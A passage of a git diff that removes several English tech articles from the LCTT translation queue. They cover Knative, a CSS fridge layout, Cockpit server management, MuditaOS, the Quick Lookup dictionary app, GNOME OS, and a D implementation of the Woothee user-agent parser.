-``` -$ curl   -Hello This is my app! -``` - -Double-check by going to the simple web frontend. - -![Checking Knative deployment][13] - -(Jess Cherry, [CC BY-SA 4.0][12]) - -This proves your application is running! Congratulations! - -### Final thoughts - -Knative is a great way for developers to move quickly on serverless development with networking services that allow users to see changes in apps immediately. It is fun to play with and lets you take a deeper dive into serverless and other exploratory uses of Kubernetes! - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/20/11/knative - -作者:[Jessica Cherry][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/cherrybomb -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/wfh_work_home_laptop_work.png?itok=VFwToeMy (Working from home at a laptop) -[2]: https://knative.dev/ -[3]: https://opensource.com/resources/what-is-kubernetes -[4]: https://en.wikipedia.org/wiki/Cloud_native_computing -[5]: https://minikube.sigs.k8s.io/docs/ -[6]: https://github.com/knative-sandbox/net-kourier -[7]: https://kubernetes.io/docs/concepts/services-networking/ingress/ -[8]: https://istio.io/ -[9]: https://www.envoyproxy.io/ -[10]: https://golang.org/doc/install -[11]: https://opensource.com/sites/default/files/uploads/knative_browser-check.png (Checking Knative deployment) -[12]: https://creativecommons.org/licenses/by-sa/4.0/ -[13]: https://opensource.com/sites/default/files/uploads/knativebrowser2.png (Checking Knative deployment) diff --git a/sources/tech/20201111 Day 3- an infinitely tall fridge.md b/sources/tech/20201111 Day 3- an infinitely tall fridge.md deleted file mode 100644 index e50ce9a55d..0000000000 --- a/sources/tech/20201111 Day 3- an infinitely tall fridge.md +++ /dev/null @@ -1,46 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (Day 3: an infinitely tall fridge) -[#]: via: (https://jvns.ca/blog/2020/11/11/day-3--an-infinitely-tall-fridge/) -[#]: author: (Julia Evans https://jvns.ca/) - -Day 3: an infinitely tall fridge -====== - -Hello! Here are some notes from Day 3 at the Recurse Center. - -This post is an extremely short one from the toy refrigerator poetry forum website I’m working on. I needed to come up with a design for it, and finally today I came up with an idea: just put everything on an image of a fridge. - -I found a stock image of a fridge, but I ran into a problem immediately, which was that the entire website could not fit on said fridge image. - -So I figured how to make a fridge that was as tall as I wanted it to be. (not technically “infinite”, but “a fridge that is as big as required” didn’t have quite the same ring). - -### here’s the infinite fridge - -Here’s a CodePen with the HTML/CSS required to make an infinite fridge. It’s relatively simple and I’m very pleased about this. It basically has 3 images: one for the top of the fridge, a 1px line that can be repeated as much as required, and then the bottom. - -See the Pen [infinite refrigerator][1] by Julia Evans ([Julia Evans][2]) on [CodePen][3]. - -### that’s all! - -I started writing an explanation of how exactly this infinite fridge works, but I ran out of time so maybe another day :). (the main trick is that `padding-bottom` is a percentage of the parent element’s width, not its height, so you can use it to create a box with a fixed aspect ratio) - --------------------------------------------------------------------------------- - -via: https://jvns.ca/blog/2020/11/11/day-3--an-infinitely-tall-fridge/ - -作者:[Julia Evans][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://jvns.ca/ -[b]: https://github.com/lujun9972 -[1]: https://codepen.io/wizardzines/pen/bGeOdvJ -[2]: https://codepen.io/wizardzines -[3]: https://codepen.io diff --git a/sources/tech/20201111 How I use Cockpit for my home-s Linux server management.md b/sources/tech/20201111 How I use Cockpit for my home-s Linux server management.md deleted file mode 100644 index 9accd1a2d0..0000000000 --- a/sources/tech/20201111 How I use Cockpit for my home-s Linux server management.md +++ /dev/null @@ -1,175 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (How I use Cockpit for my home's Linux server management) -[#]: via: (https://opensource.com/article/20/11/cockpit-server-management) -[#]: author: (Alan Formy-Duval https://opensource.com/users/alanfdoss) - -How I use Cockpit for my home's Linux server management -====== -Anyone—from home users to large-network admins—can access -enterprise-grade server management with Cockpit. -![People work on a computer server with devices][1] - -[Cockpit][2] is a service for Linux that provides a web-based interface for managing and monitoring hosts. It can be deployed in any size organization, even a small office, and it's a great way for home users to maintain the family IT infrastructure. I use it to manage and monitor all of the computers in my house—including Raspberry Pi. - -Cockpit is a free and open source software project released under the LGPL v2.1+. It is sponsored by Red Hat and included in Red Hat Enterprise Linux as the RHEL Web Console. - -### Using Cockpit - -Cockpit allows you to manage Linux devices on your network remotely. You can add or remove users, connect Network File System (NFS) shares, and start and stop services. One of my favorite simple Cockpit tasks is doing updates. I no longer have to walk around the office or house to collect each device to log in, update, reboot, and wait. Enterprise administrators don't need to badge into a data center; instead, they can manage devices from the comfort of their office. - -This isn't all, though. Cockpit's advanced capabilities include managing an LDAP server, virtual machines, and storage. You can also use it to install Docker or Podman containers. - -In terms of monitoring, Cockpit provides visibility into the expected CPU, memory, and disk space metrics. But it also exposes information like the manufacturer, BIOS, and CPU branding and gives a detailed look at hardware elements such as the [northbridge][3] and [southbridge][4] chips and various controllers. It lists the graphics, storage, and network communications devices and the memory controller and memory type. Cockpit can also be used to review logs. - -### Install Cockpit - -Cockpit is included in most major distributions. The website provides [documentation][5] for installing on Red Hat, Fedora, Ubuntu, Debian, Arch, and several others. You can install it with the standard package management commands on your Linux distribution. You can also usually find it in your graphical utility, such as GNOME Software Center, for a one-click process. - - * **Fedora: **`dnf install cockpit` - * **Ubuntu: **`apt install cockpit` - - - -### Access and login - -The default listen port is 9090. To access the Cockpit interface on a server, just point your browser to `hostname:9090`. You can use `localhost:9090` for the local server where you are logged on. Log in with a common account, as it will be advantageous to have root privileges on this account. - -![Cockpit Login Screen][6] - -(Alan Formy Duvall, [CC BY-SA 4.0][7]) - -To access other servers remotely, you would use their hostname, e.g., `https://hostname:9090`. However, you could designate one host as a management server and add all your servers to the Dashboard for a unified view. - -Once you log in, the first screen you see is the Dashboard; the other option is Host view.  - -### Dashboard view - -The Dashboard view is clean and uncluttered. The image below shows a performance monitor for all of a system's connected servers. It graphs CPU, memory, network, and disk I/O. If this is your first run and you haven't yet connected any servers, you will see graphs for the local system only. - -![Cockpit Dashboard][8] - -(Alan Formy Duvall, [CC BY-SA 4.0][7]) - -Add a server by clicking the blue plus (**+**) button. - -![Adding a machine to Cockpit][9] - -(Alan Formy Duvall, [CC BY-SA 4.0][7]) - -After you add servers, scroll down to see the full list. I have a few systems set up already. - -![Cockpit server list][10] - -(Alan Formy Duvall, [CC BY-SA 4.0][7]) - -### Host view - -Host view is where all the fun begins. This section shows and gives access to each server added to the Dashboard. The main area of interest here is the column toward the left that includes **Overview**, **Logs**, **Storage**, **Networking**, and a few other items, with **Terminal** at the bottom. Clicking on each item enables you to manage these parts of the system. The items in this section can vary depending on other features that may be installed. - -#### Overview - -When you select a server, the Host screen opens to the **Overview** section with controls for the specific host system. The Overview screen is divided into quadrants for _Health_, _Usage_, _Configuration_, and _System information_. - -![Cockpit Host Overview][11] - -(Alan Formy Duvall, [CC BY-SA 4.0][7]) - -Usage links to a detailed performance graph view, and System information links to hardware details. Some management controls are directly available on this screen. For example, you can change the system hostname or join the server to an enterprise domain. - -#### Storage - -In this image of the **Storage** section, the top part has a graph of read/write activity, and below that is a list of local filesystems. Further down, you can add NFS mounts or view logs. You can even create RAID devices and volume groups. - -![Cockpit Host Storage View][12] - -(Alan Formy Duvall, [CC BY-SA 4.0][7]) - -#### Networking - -The **Networking** section allows you to manage firewall and network interfaces. You can edit firewall rules and zones and manipulate networking with bonding, teaming, bridges, and VLANs. - -![Cockpit Host Networking View][13] - -(Alan Formy Duvall, [CC BY-SA 4.0][7]) - -#### Software updates - -Being able to apply updates on servers remotely is super-convenient. Even a family may have five or 10 computers. But an enterprise with hundreds or thousands of headless servers racked in a dry, dark data center miles away definitely needs this capability. The **Software updates** section lists the updates available to you. - -![Cockpit host updates][14] - -(Alan Formy Duvall, [CC BY-SA 4.0][7]) - -You can select whether to install all updates or just those related to security, and Cockpit displays a progress bar while updates are installed. Once the process is complete, you can restart the system. - -#### Terminal - -The last item in Host view is a **Terminal**, where you can do all the normal command-line options. One way I've used the Terminal is to overcome inconsistencies in Cockpit feature sets, most likely due to Linux version differences. I discovered this on [my Media Center PC][15] running Ubuntu Linux 18.04. In this version of Ubuntu, the Overview section is labeled System. It indicates available bug-fix updates but does not have a button for applying updates. This is not the case with the newer Ubuntu 20.04 LTS, which has the expected Overview section and update facility. Either way, there is no need to fret because I can leverage the terminal to run the normal Apt update commands. - -![Cockpit Terminal][16] - -(Alan Formy Duvall, [CC BY-SA 4.0][7]) - -#### Applications - -You may have noticed that I skipped the **Applications** section in Host view. This section deserves your attention because it can manipulate the view and functionality of your Cockpit service. From here, you can install additional functionality or applications, such as 389 LDAP Server or tools for collecting diagnostic reports and kernel dumps or building server images. The _Machines_ section enables virtual machine management, and _Podman_ provides container management capabilities. Once you have Cockpit up and running, it's a good idea to explore the Applications section. - -![Cockpit Applications][17] - -(Alan Formy Duvall, [CC BY-SA 4.0][7]) - -### Final thoughts - -Cockpit uses a secure shell (SSH) client to access remote servers, so there may be some resource impact on a system where you create the unified view that I described above since each managed server will have an associated SSH connection. - - -``` -$ ps fax |grep cockpit -2064515 ?        Ssl    0:50 /usr/libexec/cockpit-tls -2064521 ?        Ssl    0:41 /usr/libexec/cockpit-ws --for-tls-proxy --port=0 -2064527 ?        S      0:00  \\_ /usr/libexec/cockpit-session localhost -2064537 ?        Sl     0:38      \\_ cockpit-bridge -2064636 ?        S      1:37          \\_ /usr/libexec/cockpit-ssh webserver -2064639 ?        S      1:37          \\_ /usr/libexec/cockpit-ssh smtpserver -2064640 ?        S      1:37          \\_ /usr/libexec/cockpit-ssh ftpserver -2064670 ?        Sl     0:02          \\_ /usr/bin/cockpit-bridge --privileged -2076607 ?        S      0:21          \\_ /usr/libexec/cockpit-ssh ldapserver -2078182 ?        S      0:10          \\_ /usr/libexec/cockpit-ssh teaserver -``` - -I've used many operations tools like this, both closed and open source, for management, monitoring, provisioning, deployment, and security tasks. Cockpit is a great tool that fits organizations of all sizes. - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/20/11/cockpit-server-management - -作者:[Alan Formy-Duval][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/alanfdoss -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/rh_003499_01_linux11x_cc.png?itok=XMDOouJR (People work on a computer server with devices) -[2]: https://cockpit-project.org/ -[3]: https://en.wikipedia.org/wiki/Northbridge_%28computing%29 -[4]: https://en.wikipedia.org/wiki/Southbridge_%28computing%29 -[5]: https://cockpit-project.org/running.html -[6]: https://opensource.com/sites/default/files/uploads/cockpitlogin.png (Cockpit Login Screen) -[7]: https://creativecommons.org/licenses/by-sa/4.0/ -[8]: https://opensource.com/sites/default/files/uploads/cockpitdashboard.png (Cockpit Dashboard) -[9]: https://opensource.com/sites/default/files/uploads/cockpitaddmachine.png (Adding a machine to Cockpit) -[10]: https://opensource.com/sites/default/files/uploads/cockpitservers.png (Cockpit server list) -[11]: https://opensource.com/sites/default/files/uploads/cockpithostoverview.png (Cockpit Host Overview) -[12]: https://opensource.com/sites/default/files/uploads/cockpithoststorage.png (Cockpit Host Storage View) -[13]: https://opensource.com/sites/default/files/uploads/cockpithostnetwork.png (Cockpit Host Networking View) -[14]: https://opensource.com/sites/default/files/uploads/cockpithostupdates.png (Cockpit host updates) -[15]: https://opensource.com/article/18/11/old-linux-desktop-new-home-media-center -[16]: https://opensource.com/sites/default/files/uploads/cockpitterminal.png (Cockpit Terminal) -[17]: https://opensource.com/sites/default/files/uploads/cockpitapplications.png (Cockpit Applications) diff --git a/sources/tech/20201112 MuditaOS- A Beautiful and Minimal Open Source Mobile Operating System for Feature Phones.md b/sources/tech/20201112 MuditaOS- A Beautiful and Minimal Open Source Mobile Operating System for Feature Phones.md deleted file mode 100644 index 288a5b0bf8..0000000000 --- a/sources/tech/20201112 MuditaOS- A Beautiful and Minimal Open Source Mobile Operating System for Feature Phones.md +++ /dev/null @@ -1,116 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (MuditaOS: A Beautiful and Minimal Open Source Mobile Operating System for Feature Phones) -[#]: via: (https://itsfoss.com/mudita-os/) -[#]: author: (Abhishek Prakash https://itsfoss.com/author/abhishek/) - -MuditaOS: A Beautiful and Minimal Open Source Mobile Operating System for Feature Phones -====== - -_**Find the always connected smartphones too distracting and privacy invasive? Let’s go back to the pre-2010 era and enjoy the simplicity of feature phones but with a modern design with MuditaOS.**_ - -There are a [few open source mobile operating systems][1] existing already. Let me add one more to this list. - -Unlike most other mobile operating systems, MuditaOS is not interested in serving smartphones. Let’s have a look at it. - -### Meet MuditaOS: A minimalistic, yet powerful mobile operating system - -![][2] - -[MuditaOS][3] is a beautifully designed [E Ink][4] mobile operating system. You might have come across the E Ink display with electronic eBook readers like Kindle or Nook. - -The E Ink display itself is soothing to the eyes and MuditaOS makes it even more beautiful with its minimalist approach. - -Here are the components of a basic phone running MuditaOS: - - * Home Screen (with clock and notification) - * Calls - * Phonebook - * Messaging - * Settings - * Music Player (Thanks goodness!) - * Alarm clock - * Calendar - * Meditation Timer - * Tools - * Onboarding - - - -Since this is all too 2007-ish, MuditaOS has a companion desktop application available to manage the phone. - -### Mudita Center desktop app to manage your Mudita Phone - -![][5] - -Mudita Center application is available on Linux, Windows and macOS. Connecting the phone to the computer and using this application, you can do the following: - - * Update MuditaOS - * Upload and manage audio on Pure - * Export notes and voice memos - * Create longer messages and notes (because typing on phone with limited keys is a pain) - * Synchronize calendar - * Use your phone as mobile hotspot (if you have the 3G/4G data connection) - - - -### What devices are available? - -![][6] - -MuditaOS is specially created for their own [Mudita Pure phones][7] that come on pebble gray and charcoal black colors. - -The phones are water resistant with IP54 rating and though it supports 4G network, you cannot use internet on the phone. You’ll have to tether it with your computer to use the data network on the computer. - -It also has ultralow SAR antenna to minimize the mobile radiation exposure. Another good thing is that their speakers and microphones are by [Harman][8] so expect top quality audio. - -Here are more technical specifications: - - * Processor: Arm Cortex-M7 600MHz, 512KB Tightly Coupled Memory (TCM) - * Memory: 16 MB SDRAM and 16 GB eMMC flash storage - * Network and connectivity: 2G, 3G, 4G/LTE, GSM, Bluetooth 4.2, USB type-C, No WiFi, no mobile data on the phone - * Display: 2.84’’ E Ink (600x480px), 16-grayscale, scratch resistant - * Weight: 140 g - * Sim card: 2 nano SIM card slots - * Audio: Loudspeaker, earspeaker & microphone by Harman, Audio playback format: MP3, WAV, FLAC, Headphone jack, Bluetooth audio playback - * Battery: ~1600mAh, Li-Po, replacable - * Sensors: Ambient Light - - - -You can preorder a Mudita Pure phone on the link below Keep in mind that pricing is astronomical compared to other feature phones. - -[Pre-order Mudita Pure][7] - -As of now, I am not aware of any device other than the ones from Mudita running MuditaOS. This is rather new on the scene. - -### Conclusion - -The name Mudita is inspired by the Sanskrit word ‘Mudit’ which means ‘happy’. Recently when the developers open sourced their project they mentioned, “open-sourcing MuditaOS goes along the line of our “You’re happy – I’m Happy” philosophy”. - -I know that working on feature phones in the age of smartphones may sound like a bad idea but keep in mind that feature phones are still not obsolete. There is still market for these phones among older people and for people who don’t want to spend too much on phones just for making calls. - --------------------------------------------------------------------------------- - -via: https://itsfoss.com/mudita-os/ - -作者:[Abhishek Prakash][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://itsfoss.com/author/abhishek/ -[b]: https://github.com/lujun9972 -[1]: https://itsfoss.com/open-source-alternatives-android/ -[2]: https://i1.wp.com/itsfoss.com/wp-content/uploads/2020/11/muditaos.jpg?resize=800%2C450&ssl=1 -[3]: https://mudita.com/products/pure/muditaos -[4]: https://www.eink.com -[5]: https://i1.wp.com/itsfoss.com/wp-content/uploads/2020/11/muditaos-desktop-app.jpg?resize=800%2C581&ssl=1 -[6]: https://i1.wp.com/itsfoss.com/wp-content/uploads/2020/11/mudita-pure.jpg?resize=800%2C600&ssl=1 -[7]: https://mudita.com/products/pure/ -[8]: https://www.harmanaudio.com/ diff --git a/sources/tech/20201112 Quick Lookup is a Simple Open Source Word Lookup Tool to Find Meaning of Words You Come Across.md b/sources/tech/20201112 Quick Lookup is a Simple Open Source Word Lookup Tool to Find Meaning of Words You Come Across.md deleted file mode 100644 index 4146d08fcf..0000000000 --- a/sources/tech/20201112 Quick Lookup is a Simple Open Source Word Lookup Tool to Find Meaning of Words You Come Across.md +++ /dev/null @@ -1,133 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (Quick Lookup is a Simple Open Source Word Lookup Tool to Find Meaning of Words You Come Across) -[#]: via: (https://itsfoss.com/quick-lookup/) -[#]: author: (Ankush Das https://itsfoss.com/author/ankush/) - -Quick Lookup is a Simple Open Source Word Lookup Tool to Find Meaning of Words You Come Across -====== - -_**It is always handy to have a quick word lookup tool while browsing the web or reading an e-book. Quick Lookup is one such free and open-source tool to try.**_ - -Whenever I come across a word that I don’t know the meaning of, I just open a new tab and search for the meaning. However, it is a hit and trial every time depending on what search engine you’re on. - -Even if you do get an idea for the meaning with a quick search, you do not get all the details required along with it. Especially, if you do not know the meaning of the word that describes your target word. You will end up performing another quick search. - -So, to get rid of all that hassle, a quick lookup tool should prove to be useful! - -### Quick Lookup: A Simple Dictionary App Powered by Wiktionary - -![][1] - -Whatever is your [idea of what is Linux][2], this is what Wiktionary thinks of Linux. - -As you might have guessed already, Quick Lookup needs an active Internet connection to give you the results for your words utilizing [Wiktionary][3]. - -It is a completely free and open-source application that offers essential features to make it a handy [productive tool for Linux users][4]. Let us take a look at what it offers. - -**Recommended Read:** - -![][5] - -#### [Artha: An Offline English Thesaurus App for Linux][6] - -Artha is a feature rich thesaurus application available for all major Linux distributions.  - -### Features of Quick Lookup - -![][7] - - * Ability to look for the definitions of the words and phrases - * It lets you manually enter the word or phrase - * Multiple languages supported but the description and meaning of words/phrases will be displayed only in English - * Open internal links from within app (if you’re curious about a related word) - * Remembers your last search with the help of the back button - * You can also launch the app in selection mode to automatically capture the word you select - - - -### Installing Quick Lookup on Linux - -Quick Look is [available primarily][8] as a [Flatpak package][9] for every Linux user. If Flatpak is integrated with your software center like Pop!_Shop on [Pop OS][10], you can find it listed there. - -If you have Flatpak enabled, you can always use this command to install it: - -``` -flatpak install flathub com.github.johnfactotum.QuickLookup -``` - -You can learn more about [using Flatpak][11] in case you don’t know how about it. - -It is worth noting that if you want to select texts on your browser (or any other app) while using a Flatpak package and have it look for the meaning, you will have to type this command (launching it in the selection mode): - -``` -flatpak run com.github.johnfactotum.QuickLookup --selection -``` - -In either case, you can simply [download the source][12] archive and get it installed using the installation script. You can also run it without needing to install it by simply navigating the source folder and typing this command: - -``` -gjs quick-lookup.js -``` - -If you’ve installed it from source and want it to automatically fetch the text that you select on any app, you will have to launch it using the following command: - -``` -quick-lookup --selection -``` - -You also get an option to use the [GNOME Builder][13] if you’re familiar with it. For more details, you can check out its [GitHub page][14]. - -[Quick Lookup][14] - -**Recommended Read:** - -![][15] - -#### [LanguageTool Review: Free and Open Source Grammar Checker][16] - -LanguageTool is a free and open source proofreading software that checks the grammar, style and spelling in more than 20 languages. - -### Closing Thoughts on Quick Look - -Quick Look is definitely a useful dictionary app (even without an offline functionality) to quickly look for the meanings of words/phrases. I’m not much into eBooks, but you can try using an [eBook reader][17] along with this app to quickly be able to decipher words. - -Personally, I like to use it while browsing the web. To make things convenient, I like to keep its Window on top of every window on my workspace. So, you can easily select a text and then click on it to get the meaning and continue working. - -An offline functionality would be great for users who do not spend most of their time online. But, for the time being, it’s only online. - -Have you tried something like Quick Look? Let us know your thoughts in the comments below. - --------------------------------------------------------------------------------- - -via: https://itsfoss.com/quick-lookup/ - -作者:[Ankush Das][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://itsfoss.com/author/ankush/ -[b]: https://github.com/lujun9972 -[1]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2020/11/quick-lookup-dictionary.jpg?resize=800%2C559&ssl=1 -[2]: https://itsfoss.com/what-is-linux/ -[3]: https://www.wiktionary.org/ -[4]: https://itsfoss.com/productivity-tips-ubuntu/ -[5]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2017/08/thesaurus-app-linux.jpeg?fit=300%2C169&ssl=1 -[6]: https://itsfoss.com/artha-thesaurus-app-linux/ -[7]: https://i1.wp.com/itsfoss.com/wp-content/uploads/2020/11/quick-lookup-itsfoss.png?resize=800%2C405&ssl=1 -[8]: https://flathub.org/apps/details/com.github.johnfactotum.QuickLookup -[9]: https://itsfoss.com/what-is-flatpak/ -[10]: https://itsfoss.com/pop-os-20-04-review/ -[11]: https://itsfoss.com/flatpak-guide/ -[12]: https://github.com/johnfactotum/quick-lookup/releases/tag/1.2.0 -[13]: https://wiki.gnome.org/Apps/Builder -[14]: https://github.com/johnfactotum/quick-lookup -[15]: https://i2.wp.com/itsfoss.com/wp-content/uploads/2020/05/LanguageTool-grammar-checker.png?fit=800%2C450&ssl=1 -[16]: https://itsfoss.com/languagetool-review/ -[17]: https://itsfoss.com/best-ebook-readers-linux/ diff --git a/sources/tech/20201112 Test GNOME apps on this Linux reference platform.md b/sources/tech/20201112 Test GNOME apps on this Linux reference platform.md deleted file mode 100644 index ace15dfa50..0000000000 --- a/sources/tech/20201112 Test GNOME apps on this Linux reference platform.md +++ /dev/null @@ -1,70 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (Test GNOME apps on this Linux reference platform) -[#]: via: (https://opensource.com/article/20/11/gnome-os) -[#]: author: (Jim Hall https://opensource.com/users/jim-hall) - -Test GNOME apps on this Linux reference platform -====== -Introducing GNOME OS, the plain-vanilla Linux reference platform that -makes it easier to test GNOME applications and bug reports. -![Penguin with green background][1] - -I'm very excited about [GNOME 3.38][2]. The new version of the Linux desktop environment includes [lots of new features and a noticeable performance boost][3]. But in the background, mostly unnoticed, is another neat new thing about GNOME: the development of GNOME OS. - -As you might guess from its name, GNOME OS is a Linux distribution that uses GNOME as its desktop. But unlike Pop!_OS, Fedora, or Ubuntu, GNOME OS isn't meant as a complete Linux distribution. Instead, it is a reference platform for GNOME. - -The idea is to have a standard operating system image running GNOME to give developers a consistent platform to test on. As GNOME makes new releases, the GNOME development team can share that image with testers, so they can experience the new version. - -This is significant for GNOME testing. Previously, if someone reported a bug in a GNOME application, a developer would have to dig into the bug report and determine if the bug is really in the GNOME desktop or if it happened because the distribution did something or tweaked something in GNOME that had a knockdown effect on a GNOME application. But with GNOME OS, developers have a standard reference platform that is always a _vanilla_ version of GNOME. Developers can reproduce bug reports using GNOME OS; if they can reproduce the bug, they know it's really with GNOME and not someone else's "spin" on GNOME. - -As such, GNOME OS is not meant to be a full desktop operating system. It's just meant to be a place to test GNOME and GNOME applications. - -![Installing GNOME OS][4] - -Installing GNOME OS (Jim Hall, [CC BY-SA 4.0][5]) - -GNOME OS also helps GNOME developers add new features. Imagine having a virtual machine where a developer can test new changes to GNOME Shell and the extensions. In previous GNOME releases, GNOME extensions would usually break in every release. With GNOME OS, developers can test those extensions against a full version of GNOME. Developers and testers don't have to reinstall their full desktop OS—they can just run GNOME OS in a virtual machine and test it there. - -![Booting GNOME OS][6] - -Booting GNOME OS (Jim Hall, [CC BY-SA 4.0][5]) - -That's the big value in GNOME OS. Now extension writers can do their tests using GNOME OS and don't have to wait for a new version of the full GNOME to become available in a standard distribution. This allows GNOME to better support development and testing processes. - -GNOME OS also makes it easier for testers to join the project. If you want to work on GNOME, just download the GNOME OS image and test against that. Because GNOME OS is a reference platform, you know that any bugs you find will be only against GNOME. - -![Running GNOME OS][7] - -Running GNOME OS (Jim Hall, [CC BY-SA 4.0][5]) - -GNOME OS is automatically generated from new builds, so it's always the latest version of GNOME. Whenever there's a change in GNOME, it gets pushed to the GNOME OS image. GNOME OS is managed with [OSTree][8], so you don't have to keep downloading new versions. This also makes it easy to roll back if an update is broken. - -Interested in GNOME OS? Learn more about it at [GNOME OS Nightly][9], or visit the [GitLab project][10] to download a bootable GNOME OS image. - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/20/11/gnome-os - -作者:[Jim Hall][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/jim-hall -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/linux_penguin_green.png?itok=ENdVzW22 (Penguin with green background) -[2]: https://help.gnome.org/misc/release-notes/3.38/ -[3]: https://opensource.com/article/20/10/whats-new-gnome-338 -[4]: https://opensource.com/sites/default/files/uploads/installing-gnome-os.png (Installing GNOME OS) -[5]: https://creativecommons.org/licenses/by-sa/4.0/ -[6]: https://opensource.com/sites/default/files/uploads/booting-gnome-os.png (Booting GNOME OS) -[7]: https://opensource.com/sites/default/files/uploads/running-gnome-os.png (Running GNOME OS) -[8]: https://ostreedev.github.io/ostree/ -[9]: https://os.gnome.org/ -[10]: https://gitlab.gnome.org/GNOME/gnome-build-meta/-/wikis/home diff --git a/sources/tech/20201114 Woothee (HTTP User Agent Parser).md b/sources/tech/20201114 Woothee (HTTP User Agent Parser).md deleted file mode 100644 index 0c0806070e..0000000000 --- a/sources/tech/20201114 Woothee (HTTP User Agent Parser).md +++ /dev/null @@ -1,158 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (Woothee (HTTP User Agent Parser)) -[#]: via: (https://theartofmachinery.com/2020/11/14/woothee.html) -[#]: author: (Simon Arneaud https://theartofmachinery.com) - -Woothee (HTTP User Agent Parser) -====== - -I’ve written [a D implementation of the Project Woothee multi-language HTTP user agent parser][1]. Here are some notes about what it’s useful for, and few things special about the D implementation. - -### Project Woothee - -HTTP clients (like normal browsers and search engine crawlers) usually identify themselves to web servers with a user agent string. These strings often contain interesting information like the client name, client version and operating system, but the HTTP spec makes no rules about how this information should be structured (it’s free-form text). Parsing them requires a bunch of rules based on what real clients use in the wild. - -There’s a project called [ua-parser][2] that maintains a list of (currently) ~1000 regular expressions for parsing user agent strings. Project Woothee is another project that’s less comprehensive, but faster than testing 1000 regexes. Sometimes you want a more comprehensive parser, but sometimes it doesn’t really help. For example, suppose you want to estimate the proportion of your users running Firefox versus Chrome versus whatever by processing a big web log dump. The answer will never be 100% accurate (even with 100% accurate parsing) because bots pretending to be Chrome browsers will skew the results a bit anyway. - -Woothee has some quirks (e.g., it doesn’t distinguish RSS reader clients) but it has uses, too. - -### The D version - -I wanted to keep the D version code simple so that it can be easily updated when the upstream project data gets updated. I took some easy opportunities to make it faster, though. In a quick, unscientific test, it parsed ~1M strings from a web log on a five-year-old laptop in about 5s. I’m sure it could be made faster, but that’s good enough for me right now. - -#### Preprocessing regexes and HTTP client data - -Woothee still uses some regexes (about 50). In most languages, these are strings that need to be processed at runtime, every time the program is run. I don’t know if [Boost Xpressive][3] was the first to support compile-time regex parsing, but I remember being impressed by it at the time. The downside is having to use an operator overloading hack that manages to make regexes even harder to read: - -``` -sregex re = '$' >> +_d >> '.' >> _d >> _d; -``` - -We’ve come a long way since 2007. [D’s standard library has a compile-time regex][4], but it’s not even needed. This works: - -``` -void foo() -{ - import std.regex; - static immutable re = regex(`\$\d+\.\d\d`); - // ... -} -``` - -If you’re wondering: `static` puts the `re` into the same storage space as a global variable would be in (instead of the stack, which is run time only), while `immutable` allows the compiler to avoid copying the variable into thread-local storage for every thread. If you’re from C++, you might expect that `regex()` will still get called once at run time to initialise `re`, but thanks to [CTFE][5] it’s processed at compile time and turned into normal data in the compiled binary. - -There’s one big downside: this kind of complex CTFE is still slow. Compiling all the regexes using DMD takes ~10s, long enough to be annoying. So I added a [version flag][6] `WootheePrecompute`. Switching regex CTFE is simpler because the regex matching functions in `std.regex` also have overloads that take plain strings for regexes (which then get compiled and passed to the overload that takes a pre-compiled regex). `woothee-d` uses a helper function defined like this: - -``` -version(WootheePrecompute) -{ - auto buildRegex(string r) - { - return regex(r); - } -} -else -{ - auto buildRegex(string r) - { - return r; - } -} -``` - -Then regexes get used in the code like this: - -``` -static immutable version_re = buildRegex(`Sleipnir/([.0-9]+)`); -const caps = _agent.matchFirst(version_re); -``` - -Without `WootheePrecompute`, `buildRegex()` has no effect, and `version_re` is just a plain string that gets compiled on use. With `WootheePrecompute` enabled, `buildRegex()` 